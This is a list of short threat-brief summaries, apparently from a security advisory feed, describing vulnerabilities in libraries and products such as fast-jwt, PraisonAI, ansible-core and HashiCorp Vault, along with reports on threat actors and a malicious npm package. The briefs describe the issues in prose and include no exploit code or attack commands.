Threat briefs

The fast-jwt library (<= 6.3.0) fails to verify JWT signatures when the 'key' configuration is falsy and 'algorithms' are explicitly defined, allowing unauthenticated attackers to forge arbitrary claims.

A critical vulnerability in Hazelcast Enterprise and Community Editions allows unauthenticated or low-privileged clients to read arbitrary cluster member memory, potentially enabling remote code execution via memory corruption.

UAC-0099, a Russia-aligned threat actor, uses the evolving MATCHBOIL C# downloader to target Ukrainian sectors via spearphishing and secondary payload delivery.

An unauthenticated remote code execution vulnerability (CVE-2026-80428) in ILIAS allows attackers to achieve arbitrary file writes and code execution by exploiting insecure deserialization within the Shibboleth logout-notification handler.

PraisonAI versions before 4.6.78 contain an unauthenticated server-side request forgery (SSRF) vulnerability, CVE-2026-60091, in the Jobs API `/api/v1/runs` endpoint via the `webhook_url` parameter, allowing attackers to exploit DNS rebinding to access internal services.

An insecure default configuration in PraisonAI before version 1.7.3 allows unauthenticated attackers to exploit CVE-2026-61426 by reading sensitive agent instructions and system prompts via the `/api/agents` endpoint and invoking agents without authentication through the `/api/chat` endpoint, leading to unauthorized information disclosure and potential control over AI functionalities.

A path traversal vulnerability in ansible-core allows attackers to execute arbitrary code on a control node by distributing a crafted collection tarball that bypasses symlink validation.

IBM Guardium Data Protection 12.2.2 is susceptible to an unauthenticated remote denial-of-service attack via malformed gRPC task data that causes the edge-controller process to crash.

The PDFContentScrapingStrategy in crawl4ai versions prior to 0.9.3 is vulnerable to arbitrary file write via insufficient input validation in the _filter_untrusted_fields function, allowing attackers to overwrite sensitive files.

Deskin versions through 3.3.4.3 contain an authentication vulnerability in the com.deskin.service.installer XPC service that allows local attackers to execute arbitrary installer packages as root.

System Informer versions prior to 4.0.26241.138 contain an incorrect authorization vulnerability in the phsvc service that allows local attackers to elevate privileges to SYSTEM via privileged API calls.

A link-following vulnerability in the optimization module of Intego Antivirus for Windows through 3.0.0.1 allows local attackers to achieve arbitrary file deletion and privilege escalation to SYSTEM.

IBM Security Verify Access and Identity Access contain an improper authentication vulnerability (CVE-2026-16823) allowing unauthenticated remote attackers to bypass security restrictions.

Dromara Skyeye contains a missing authentication vulnerability in its bundled xxl-job-admin JobInfoController, allowing unauthenticated attackers to execute arbitrary shell, Python, or PowerShell jobs on the executor host.

TVU Networks Receiver and Transceiver firmware versions prior to 7.9 contain an authentication bypass vulnerability in the /tvu/Login endpoint, allowing unauthenticated attackers to gain administrative sessions.

A CSRF vulnerability (CVE-2026-107295) in Pydantic AI web interfaces allows malicious websites to trigger unauthorized agent runs and tool execution on a developer's local machine.

A malicious npm release of the TensorLake TypeScript SDK (v0.5.144) uses a preinstall hook to exfiltrate developer credentials and AI-tool configurations while maintaining remote command execution capabilities.

PraisonAI versions prior to 4.6.78 contain an authentication bypass vulnerability in the Call API agent invocation endpoints when PRAISONAI_CALL_AUTH=disabled is configured, allowing an unauthenticated attacker to remotely list and invoke registered agents by sending a spoofed 'Host: 127.0.0.1' HTTP header.

CairoSVG versions 2.9.0 and earlier are vulnerable to a CPU-exhaustion denial-of-service attack due to O(n²) complexity in SVG path-data parsing and marker rendering.

An information disclosure vulnerability in the MariaDB Connector/Node.js allows attackers to leak uninitialized heap memory into database entries by providing malformed GeoJSON parameters to execute or batch operations.

The MariaDB Connector/Node.js fails to properly escape input parameters for the text protocol when NO_BACKSLASH_ESCAPES mode is enabled, allowing attackers to perform SQL injection via standard placeholder APIs.

HashiCorp Vault is vulnerable to arbitrary code execution when restoring Raft snapshots containing malicious plugin catalog entries.

The image_optimizer Ruby gem, versions 1.3.0 through 1.9.0, is vulnerable to OS command injection via the ImageOptimizer#identify_format method when processing malicious, user-supplied image paths.

The dot-access Node.js library versions 0.0.3 through 1.0.0 are vulnerable to code injection via the get() function, allowing unauthenticated attackers to execute arbitrary system commands.

The ppt2png npm package (version 0.0.6 and earlier) is vulnerable to OS command injection via unsanitized file path arguments passed to child_process.exec(), enabling arbitrary code execution.

Absolute Secure Access contains multiple vulnerabilities that can be exploited by an attacker to trigger a Denial of Service condition, potentially disrupting service availability for users.

The NCSC and international partners have exposed Integrity Technology Group for facilitating global cyber espionage campaigns through AI-powered scanning, large-scale botnets, and manual network exploitation.

Adversaries utilize hidden files and directories, prefixed with a dot, within world-writable Linux directories to conceal malicious artifacts and establish persistence.

A vulnerability in AsyncHttpClient causes a fallback to Basic authentication when receiving a malformed Digest challenge, leading to cleartext credential exposure via base64-encoded headers.

An unbounded key-derivation loop in the Excelize library allows an attacker to trigger CPU exhaustion via a maliciously crafted EncryptionInfo stream in an OLE-formatted file.